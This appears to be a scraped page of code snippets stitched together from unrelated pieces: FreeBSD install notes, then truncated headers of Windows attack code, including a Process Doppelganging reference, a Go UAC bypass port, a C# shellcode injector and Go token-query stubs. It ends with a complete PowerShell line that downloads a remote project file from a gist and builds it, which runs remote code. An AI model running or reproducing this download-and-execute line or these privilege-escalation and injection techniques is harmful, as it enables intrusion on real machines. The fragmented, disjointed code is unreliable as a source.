- Install 12.0 (or later)
- Install drm-next-kmod from ports - do not install xf86-video-intel
- Recognized by default, need to enable iwm in rc.conf
// | |
// Ref = src | |
// https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf | |
// | |
// Credits: | |
// Vyacheslav Rusakov @swwwolf | |
// Tom Bonner @thomas_bonner | |
// | |
#include <Windows.h> |
package main | |
import ( | |
"io/ioutil" | |
"log" | |
"net/http" | |
"os" | |
"runtime" | |
"syscall" | |
"unsafe" |
// UAC bypass ported from https://github.com/bytecode77/slui-file-handler-hijack-privilege-escalation/blob/master/SluiFileHandlerHijackLPE/SluiFileHandlerHijackLPE.cpp | |
package main | |
import ( | |
"syscall" | |
"time" | |
"unsafe" | |
"golang.org/x/sys/windows/registry" | |
) |
package main | |
import ( | |
"fmt" | |
"log" | |
"os/exec" | |
"syscall" | |
"time" | |
"unsafe" | |
) |
package main | |
import ( | |
"fmt" | |
"log" | |
"syscall" | |
"unsafe" | |
) | |
// getInfo retrieves a specified type of information about an access token. |
/* Author: TheWover | |
Description: Injects embedded base64-encoded shellcode into an arbitrary hardcoded process using native Windows 32 API calls. | |
Last Modified: 11/1/2018 | |
*/ | |
using System; | |
using System.Diagnostics; | |
using System.Runtime.InteropServices; | |
namespace ShellcodeTest |
[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build'); | |
$proj = [System.Xml.XmlReader]::create("https://gist.githubusercontent.com/bohops/a29a69cf127ffb0e37622d25b9f79157/raw/35fa4c5a0d2db037220f224b5c4c269ea243b3bd/test.csproj"); | |
$e=new-object Microsoft.Build.Evaluation.Project($proj); | |
$e.Build(); |